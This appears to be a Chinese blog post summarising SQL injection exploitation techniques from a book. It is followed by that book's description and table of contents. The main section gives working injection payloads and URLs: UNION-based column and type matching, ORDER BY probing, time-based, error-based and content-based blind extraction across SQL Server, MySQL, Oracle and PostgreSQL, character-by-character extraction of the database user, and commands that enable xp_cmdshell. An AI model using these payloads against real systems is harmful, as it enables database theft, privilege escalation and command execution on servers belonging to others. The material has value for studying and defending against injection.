利用 SQL 注入提取数据方法总结

一、使用 UNION 语句提取数据

在 SQL 注入攻击中,UNION 运算符的潜在价值非常明显:如果应用程序返回了第一个(原始)查询得到的所有数据,那么通过在第一个查询后面注入一个 UNION 运算符,并添加另外一个任意查询,便可以读取到数据库用户访问过的任何一张表。

1.1 匹配列

要想 UNION 操作符正确工作,需满足下列要求:

1. 两个查询返回的列数必须相同。

2. 两个 SELECT 语句对应列所返回的数据类型必须相同(或至少是兼容的)。 

如果无法满足上述两个约束条件,查询便会失败并返回一个错误。

当然,具体是什么错误消息则取决于后台所使用的数据库服务器技术。

此列出了当 UNION 查询包含错误的列数时一些主流数据库服务器返回的错误消息。 

数据库返回错误消息
Micrsoft SQL ServerAll queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists
MySQLThe used SELECT statements have a different number of columns
OracleORA-01789:query block has incorrect number of result columns
Postgre SQLERROR: Each UNION query must have the same number of columns

错误消息中并未提供任何与所需要列数相关的线索,因而要想得到正确的列数,唯一的方法就是反复试验。

第一种方法是将第二条查询注入多次,每次逐渐增大列数直到查询正确执行。 

假设有一个简单的Web应用程序,它接受一个用户ID作为输入,并从数据库中检索该用户的信息。该应用程序的SQL查询可能如下所示:

SELECT * FROM users WHERE id = '$userId';

这里的$userId是从用户输入中获取的变量。如果应用程序没有对用户输入进行适当的验证和转义,攻击者就可以构造恶意的输入来执行SQL注入攻击。

例如,攻击者可以输入以下值作为用户ID:

1' UNION SELECT column1, column2, ... FROM another_table --

这将导致原始的SQL查询变成:

SELECT * FROM users WHERE id = '1' UNION SELECT column1, column2, ... FROM another_table --';

在这里,攻击者使用了单引号来闭合原始的id值,并添加了UNION SELECT语句来从另一个表(another_table)中选择数据。--是一个SQL注释,用于忽略原始查询中的剩余部分。 

获取准确列数的另一种方法是使用ORDERBY子句而非注入另外一个查询。

ORDERBY子句既可以接收一个列名作为参数,也可以接收一个简单的、能标识特定列的数字。

可以通过增大 ORDER BY 子句中代表列的数字来识别查询中的列数,假设有一个目标URL:

http://www.example.com/vuln.php?id=1

注入点位于id参数处,我们可以尝试使用order by语句来确定查询结果的列数。

在id参数后面加上order by子句,并逐渐增加列数,直到出现错误或注入成功为止。例如:

http://www.example.com/vuln.php?id=1 order by 1:// 如果页面正常加载,说明查询结果至少有1列。
http://www.example.com/vuln.php?id=1 order by 2:// 如果页面正常加载,说明查询结果至少有2列。
http://www.example.com/vuln.php?id=1 order by 3:// 如果页面正常加载,说明查询结果至少有3列。
// ……以此类推。

1.2 匹配数据类型

识别出准确的列数后,现在是时候选择其中的一列或几列来查看一下是否是正在寻找的数据了。

前面提到过,对应列的数据类型必须是相互兼容的。

因此,如果想提取一个字符串值(例如,当前的数据库用户),那么至少需要找到一个数据类型为字符串的列以便通过它来存储正在寻找的数据。

使用NULL来实现会很容易,只需一次一列地使用示例字符串替换NULL即可。

例如,如果发现原始查询包含4列,那么应尝试下列 URL: 

http://www.victim.com/products.asp?id=12+union+select+'test',NULL,NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,'test',NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,NULL,'test',NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,NULL,NULL,'test',

对于无法使用 NULL 的数据库只能暴力猜测了。

只要应用程序不返回错误,即可知道刚才存储test值的列可以保存一个字符串,因而可用它来显示需要的值。

例如,如果第二列能够保存一个字符串字段(假设想获取当前用户的名称),只需请求下列 URL:

http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,NULL,NULL 

如果类型不同也可以尝试转换类型,此表给出了不同数据库中将任意数据类型转换为字符串的语法

数据库查询
Micrsoft SQL ServerSELECT CAST('123' AS varchar)
MySQLSELECT CAST('123' AS char)
OracleSELECT CAST(1 AS varchar) FROM dual
Postgre SQLSELECT CAST(123 AS text)

请注意这取决于你所提取数据的结构,并非总是需要进行类型转换。

例如,PostgreSQL允许非字符串变量使用连接字符串(||),只要有一个变量的值是字符串即可。 

二、使用条件语句

我们先看一下相同的基本条件语句在此表中列出的不同数据库服务器技术间语法上的转换过程

数据库查询
Micrsoft SQL ServerIF ('a'='a') SELECT 1 ELSE SELECT 2
MySQLSELECT IF('a',1,2)
Oracle

SELECT CASE WHEN 'a'='a' THEN 1 ELSE 2

END FROM DUAL

SELECT decode(substr(user,1,1),'A',1,2)FROM DUAL

Postgre SQLSELECT CASE WHEN (1=1) THEN 'a' else 'b' END

2.1 方法一:基于时间

2.1.1 Micrsoft SQL Server

使用条件语句利用 SQL注入时,第一种可行的方法是基于 Web 应用响应时间上的差异,该时间取决于某些信息的值。

例如,对于SOLServer 而言,您最先想了解的信息是执行查询的用户是否为系统管理员账户(sa)。

很明显,这一点很重要,因为权限不同,在远程数据库上能执行的操作也会有所不同。

因此,可以注入下列查询::

IF (system_user='sa') WAITFOR DELAY '0:0:5' -- 

该查询将转换为下列 URL: 

http://www.victim.com/products.asp?id=12;if+(system_user='sa')+WAITFOR+
DELAY+'0:0:5'-- 

上述请求执行了哪些操作呢?system_user 只是一个 Transact-SQL(T-SQL) 函数,它返回当前登录的用户名(例如 sa)。

该査询根据 system user的值来决定是否执行 WAITFOR (等待5秒)。

通过测试应用返回 HTML页面所花费的时间,可以确定是否为 sa 用户。

查询尾部的两个连字符用于注释掉所有可能出现在原始查询中并会干扰注入代码的无用SQL代码。

当然,只需要通过替换圆括号中的条件您就可以使用该方法来获取数据库中的任何其他信息了。

例如,想知道远程数据库的版本是否为2005?请看下列查询:

IF(substring((select @@version),25,1)=5) WAITFOR DELAY '0:0:5'-- 

我们首先选择 @@version 内置变量,在 SQLServer 2005 中,它的值类似于下列内容: 

Microsoft SQL Server 2005-9.00.3042.00(ntel X86)
Feb 92007 22:47:07
Copyright(c)1988-2005 Microsoft Corporation
Standard Edition on Windows NT5.2(Build 3790:Service Pack2)

不难发现,该变量包含了数据库版本。要想了解远程数据库是否为SOLServer 2005,只需检查年份的最后一位数字即可,它刚好是@@version 变量所存放字符串的第25个字符。

如果拥有管理员权限,那么可以使用xpcdshell 扩展存储过程来产生延迟,它通过加载条需要花费特定秒数才能完成的命令来得到类似的结果。

在下面的示例中,我们ping回路(loopback)端口5秒钟:

EXEC master..xp_cmdshell 'ping-n5 127.0.0.1'

如果具有管理员访问权限,但没有启用xpcmdshell,那么在SOLServer 2005和2008中可以使用下面的命令轻松地启用它:

EXEC sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
EXEC sp_configure 'xp cmdshell', 1;

2.1.2 MySQL

例如,对于MySQL,可以使用下列查询创建一个数秒的延迟:

SELECT BENCHMARK(1000000,shal('blah')); 

BENCHMARK函数将第二个参数描述的表达式执行由第一个参数指定的次数。

它通常用于测量服务器的性能,但对引入人为延迟也同样很有帮助。

在上述示例中,我们告诉数据库将字符串“blah”的哈希值计算一百万次。

如果使用的是 5.0.12版本以上的 MySQL 数据库,处理起来将更加简单:

SELECT SLEEP(5); 

2.1.3 Postgre SQL

如果安装的是PostgreSQL数据库,并且版本在8.2以上,可以使用下面的命令:

SELECT pg_sleep(5);

2.1.4 Oracle

对于 Oracle 而言,可以通过使用 UTL_HTTP 或 HTTPURITYPE 向一个“死的”IP地址发送一个HTTP请求来实现相同的效果(虽然可靠性差一些)。

如果指定了一个不存在侦听者的IP地址,那么下列查询将一直等待连接直到超时:

select utl http.request('http://10.0.0.1/') from dual;
select HTTPURITYPE('http://10.0.0.1/').getclob() from dual;

还有一种使用网络计时的方法,就是使用简单的笛卡尔积(Cartesian Product)。

对 4 张表应用 count(*) 比直接返回一个数字花费的时间要长很多。

如果用户名的第一个字符为 A,那么下列查询将首先计算所有行的笛卡尔积,然后返回一个数字:

SELECT decode(substr(user,1,1),'A',(select count(*) from all_objects,all_objects,all_objects,all_objects),0)

2.2 方法二:基于错误

我们还有其他技术可用,该技术根据我们寻找的位值来触发不同的响应。请看下列查询:

http://www.victim.com/products.asp?id=12/is_srvrolemember ('sysadmin')

is srvrolemember()是一个SOLServerT-SQL函数,它返回下列值:

1:用户属于指定的组。
2:用户不属于指定的组。
NULL:指定的组不存在。 

如果当前用户不是 sysadmin 组的成员,那么 id 参数的值将为 12/0(很明显不是数字);这将导致查询失败,应用返回一个错误。 

该错误还可能是一个使应用失败看起来更雅观的通用HTML页面,但最基本原理是相同的:可以根据指定位值的不同来触发不同的响应并提取位值。 

2.3 方法三:基于内容 

通常只需对该技术稍作修改就能避免错误的产生。例如:

http://www.victim.com/products.asp?id=12%2B(case+when+(system_user+=+'sa')
+then+1+else+0+end)

我们使用%2B替换了参数后面的“/”字符,%2B 是“+”的 URL 编码(我们不能在 URL中直接使用“+”,因为它会被解析成空格)。最终将按照下列式子为id参数赋值:

id=12+(case when (system_user='sa') then 1 else 0 end)

结果非常直观。如果执行查询的用户不是 sa,那么id=12,请求将等价于:

http://www.victim.com/products.asp?id=12 

而如果执行查询的用户是 sa,那么id=13,请求将等价于:

http://www.victim.com/products.asp?id=13

该技术像基于错误的技术一样快,另外还有一个优点--不会触发错误,从而使该方法更加简练。

2.4 处理字符串

假设我们的电子商务Web 站点有这样一个功能——它允许用户检索特定品牌生产的所有商品:

http://www.victim.com/search.asp?brand=acme

如果对 brand 参数稍作修改,那么会出现什么情况呢?

使用字母 l 替换掉 m,最终的URL将如下所示:

http://www.victim.com/search.asp?brand=acle

这个 URL 很可能会返回完全不同的结果:可能是一个空结果集,在大多数情况下也可能是其他不同的内容。

不管第二个 URL 返回怎样的结果,只要 brand 参数是可注入的,就可以很容易地使用字符串连接技术来提取数据。

我们一步一步地分析这个过程。很明显,作为参数传递的字符串可以分成两部分:

http://www.victim.com/search.asp?brand=acm'%2B'e

很明显,该查询等价于上一查询,所以最终的HTML页面不会发生变化。我们再进一步分析,将参数分成三个部分:

http://www.victim.com/search.asp?brand=ac'%2B'm'%2B'e

可以使用 char()函数来描述 T-SQL中的 m 字符,char() 函数接收一个数字作为参数并返回与其对应的 ASCII 字符。由于 m 的 ASCII 值为 109(16进制为 0x6D),因此我们可以对 URL 作进一步修改,如下所示:

http://www.victim.com/search.asp?brand=ac'%2Bchar(109)%2B'e

该查询仍然返回与前面查询相同的结果,但现在我们有了一个可操控的数字参数,所以可以很容易复制前面章节介绍的注入技术,提交下列请求:

http://www.victim.com/search.asp?brand=ac'%2Bchar(108%2B(case+when+(sys
tem_user='sa')+then+l+else+0+end)%2B'e

根据当前用户是否为sa,char()函数的参数将分别是109或108(对应返回m或1)

2.5 扩展攻击

我们回到前面那个判断执行查询的用户的例子。

我们现在不局限于检查用户是否为sa,而是检索用户完整的名称。

首先要做的是发现用户名的长度。可使用下列查询实现该目的:

select len(system_user)

假设用户名为appdbuser,该查询返回9。要想使用条件语句提取该值,则需要执行二分查找。如果使用前面介绍的基于错误的方法,那么需要发送下列URL:

http://www.victim.com/products.asp?id=10/(case+when+(len(system_user) +>+8)+then+1+else+0+end)

既然知道了用户名的长度,接下来我们需要提取组成用户名的字符。

要完成这个任务,需要循环遍历各个字符。对于其中的每个字符,我们要针对该字符的 ASCII 码值执行二分查找。

在SOLServer中,我们可以使用下列表达式提取指定字符并计算其 ASCII 码值:

ascii(substring((selectsystem_user)1,1))

该表达式检索 system_user 的值,从第一个字符开始提取子串,子串长度刚好为一个字符,并计算其十进制的 ASCII 码值。

  • 40
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码中SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 第1章 什么是SQL注入 1 1.1 概述 2 1.2 理解Web应用的工作原理 2 1.2.1 一种简单的应用架构 3 1.2.2 一种较复杂的架构 4 1.3 理解SQL注入 5 1.4 理解SQL注入的产生过程 10 1.4.1 构造动态字符串 10 1.4.2 不安全数据库配置 16 1.5 本章小结 18 1.6 快速解决方案 18 1.7 常见问题解答 19 第2章 SQL注入测试 21 2.1 概述 22 2.2 寻找SQL注入 22 2.2.1 借助推理进行测试 22 2.2.2 数据库错误 29 2.2.3 应用响应 38 2.2.4 SQL盲注 42 2.3 确认SQL注入 45 2.3.1 区分数字和字符串 46 2.3.2 内联SQL注入 46 2.3.3 终止式SQL注入 51 2.3.4 时间延迟 59 2.4 自动寻找SQL注入 60 2.5 本章小结 68 2.6 快速解决方案 68 2.7 常见问题解答 69 第3章 复查代码中的SQL注入 71 3.1 概述 72 3.2 复查源代码中的SQL注入 72 3.2.1 危险的编码行为 74 3.2.2 危险的函数 79 3.2.3 跟踪数据 82 3.2.4 复查PL/SQL和T-SQL代码 88 3.3 自动复查源代码第1章 什么是SQL注入 94 3.3.1 YASCA 96 3.3.2 Pixy 96 3.3.3 AppCodeScan 97 3.3.4 LAPSE 97 3.3.5 SWAAT 97 3.3.6 Microsoft SQL注入源代码分析器 98 3.3.7 CAT.NET 98 3.3.8 商业源代码复查工具 98 3.3.9 Ounce 99 3.3.10 Fortify源代码分析器 100 3.3.11 CodeSecure 100 3.4 本章小结 100 3.5 快速解决方案 101 3.6 常见问题解答 102 第4章 利用SQL注入 105 4.1 概述 106 4.2 理解常见的利用技术 107 4.3 识别数据库 108 4.3.1 非盲跟踪 109 4.3.2 盲跟踪 112 4.4 使用UINON语句提取数据 113 4.4.1 匹配列 114 4.4.2 匹配数据类型 115 4.5 使用条件语句 119 4.5.1 方法1:基于时间 120 4.5.2 方法2:基于错误 122 4.5.3 方法3:基于内容 123 4.5.4 处理字符串 123 4.5.5 扩展攻击 125 4.5.6 利用SQL注入错误 126 4.5.7 Oracle中的错误消息 128 4.6 枚举数据库模式 131 4.6.1 SQL Server 131 4.6.2 MySQL 136 4.6.3 Oracle 139 4.7 提升权限 142 4.7.1 SQL Server 142 4.7.2 Oracle 147 4.8 窃取哈希口令 148 4.8.1 SQL Server 149 4.8.2 MySQL 150 4.8.3 Oracle 151 4.9 带外通信 154 4.9.1 E-mail 154 4.9.2 HTTP/DNS 157 4.9.3 文件系统 158 4.10 自动利用SQL注入 161 4.10.1 Sqlmap 161 4.10.2 Bobcat 164 4.10.3 BSQL 164 4.10.4 其他工具 166 4.11 本章小结 166 4.12 快速解决方案 167 4.13 常见问题解答 168 第5章 SQL盲注利用 171 5.1 概述 172 5.2 寻找并确认SQL盲注 173
作 者:(美)克拉克 著,黄晓磊,李化 译 SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码中SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 目录: 第1章 什么是SQL注入  1.1 概述  1.2 理解Web应用的工作原理   1.2.1 一种简单的应用架构   1.2.2 一种较复杂的架构  1.3 理解SQL注入  1.4 理解SQL注入的产生过程   1.4.1 构造动态字符串   1.4.2 不安全数据库配置  1.5 本章小结  1.6 快速解决方案  1.7 常见问题解答 第2章 SQL注入测试  2.1 概述  2.2 寻找SQL注入   2.2.1 借助推理进行测试   2.2.2 数据库错误   2.2.3 应用响应   2.2.4 SQL盲注  2.3 确认SQL注入   2.3.1 区分数字和字符串   2.3.2 内联SQL注入   2.3.3 终止式SQL注入   2.3.4 时间延迟  2.4 自动寻找SQL注入  2.5 本章小结  2.6 快速解决方案  2.7 常见问题解答 第3章 复查代码中的SQL注入  3.1 概述  3.2 复查源代码中的SQL注入   3.2.1 危险的编码行为   3.2.2 危险的函数   3.2.3 跟踪数据   3.2.4 复查PL/SQL和T-SQL代码  3.3 自动复查源代码第1章 什么是SQL注入   3.3.1 YASCA   3.3.2 Pixy   3.3.3 AppCodeScan   3.3.4 LAPSE   3.3.5 SWAAT   3.3.6 Microsoft SQL注入源代码分析器   3.3.7 CAT.NET   3.3.8 商业源代码复查工具   3.3.9 Ounce   3.3.10 Fortify源代码分析器   3.3.11 CodeSecure  3.4 本章小结  3.5 快速解决方案  3.6 常见问题解答 第4章 利用SQL注入  4.1 概述  4.2 理解常见的利用技术  4.3 识别数据库   4.3.1 非盲跟踪   4.3.2 盲跟踪  4.4 使用UINON语句提取数据   4.4.1 匹配列   4.4.2 匹配数据类型  4.5 使用条件语句   4.5.1 方法1:基于时间   4.5.2 方法2:基于错误   4.5.3 方法3:基于内容   4.5.4 处理字符串   4.5.5 扩展攻击   4.5.6 利用SQL注入错误   4.5.7 Oracle中的错误消息  4.6 枚举数据库模式   4.6.1 SQL Server   4.6.2 MySQL   4.6.3 Oracle  4.7 提升权限   4.7.1 SQL Server   4.7.2 Oracle  4.8 窃取哈希口令   4.8.1 SQL Server   4.8.2 MySQL   4.8.3 Oracle  4.9 带外通信   4.9.1 E-mail   4.9.2 HTTP/DNS   4.9.3 文件系统  4.10 自动利用SQL注入   4.10.1 Sqlmap   4.10.2 Bobcat   4.10.3 BSQL   4.10.4 其他工具  4.11 本章小结  4.12 快速解决方案  4.13 常见问题解答 第5章 SQL盲注利用  5.1 概述  5.2 寻找并确认SQL盲注   5.2.1 强制产生通用错误   5.2.2 注入带副作用的查询   5.2.3 拆分与平衡   5.2.4 常见的SQL盲注场景   5.2.5 SQL盲注技术  5.3 使用基于时间的技术   5.3.1 延迟数据库查询   5.3.2 基于时间推断的考虑  5.4 使用基于响应的技术   5.4.1 MySQL响应技术   5.4.2 SQL Server响应技术   5.4.3 Oracle响应技术   5.4.4 返回多位信息  5.5 使用非主流通道   5.5.1 数据库连接   5.5.2 DNS渗漏   5.5.3 E-mail渗漏   5.5.4 HTTP渗漏  5.6 自动SQL盲注利用   5.6.1 Absinthe   5.6.2 BSQL Hacker   5.6.3 SQLBrute   5.6.4 Sqlninja   5.6.5 Squeeza  5.7 本章小结  5.8 快速解决方案  5.9 常见问题解答 第6章 利用操作系统  6.1 概述  6.2 访问文件系统   6.2.1 读文件   6.2.2 写文件  6.3 执行操作系统命令  6.4 巩固访问  6.5 本章小结  6.6 快速解决方案  6.7 常见问题解答  6.8 尾注 第7章 高级话题  7.1 概述  7.2 避开输入过滤器   7.2.1 使用大小写变种   7.2.2 使用SQL注释   7.2.3 使用URL编码   7.2.4 使用动态的查询执行   7.2.5 使用空字节   7.2.6 嵌套剥离后的表达式   7.2.7 利用截断   7.2.8 避开自定义过滤器   7.2.9 使用非标准入口点  7.3 利用二阶SQL注入  7.4 使用混合攻击   7.4.1 修改捕获的数据   7.4.2 创建跨站脚本   7.4.3 在Oracle上运行操作系统命令   7.4.4 利用验证过的漏洞  7.5 本章小结  7.6 快速解决方案  7.7 常见问题解答 第8章 代码层防御  8.1 概述  8.2 使用参数化语句   8.2.1 Java中的参数化语句   8.2.2 .NET(C#)中的参数化语句   8.2.3 PHP中的参数化语句   8.2.4 PL/SQL中的参数化语句  8.3 输入验证   8.3.1 白名单   8.3.2 黑名单   8.3.3 Java中的输入验证   8.3.4 .NET中的输入验证   8.3.5 PHP中的输入验证  8.4 编码输出  8.5 规范化  8.6 通过设计来避免SQL注入的危险   8.6.1 使用存储过程   8.6.2 使用抽象层   8.6.3 处理敏感数据   8.6.4 避免明显的对象名   8.6.5 创建数据库Honeypot   8.6.6 附加的安全开发资源  8.7 本章小结  8.8 快速解决方案  8.9 常见问题解答 第9章 平台层防御  9.1 概述  9.2 使用运行时保护   9.2.1 Web应用防火墙   9.2.2 截断过滤器   9.2.3 不可编辑的输入保护与可编辑的输入保护   9.2.4 URL策略/页面层策略   9.2.5 面向方面编程   9.2.6 应用入侵检测系统   9.2.7 数据库防火墙  9.3 确保数据库安全   9.3.1 锁定应用数据   9.3.2 锁定数据库服务器  9.4 额外的部署考虑   9.4.1 最小化不必要信息的泄露   9.4.2 提高Web服务器日志的冗余   9.4.3 在独立主机上部署Web服务器和数据库服务器   9.4.4 配置网络访问控制  9.5 本章小结  9.6 快速解决方案  9.7 常见问题解答 第10章 参考资料  10.1 概述  10.2 SQL入门  10.3 SQL注入快速参考   10.3.1 识别数据库平台   10.3.2 Microsoft SQL Server备忘单   10.3.3 MySQL备忘单   10.3.4 Oracle备忘单

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

香甜可口草莓蛋糕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值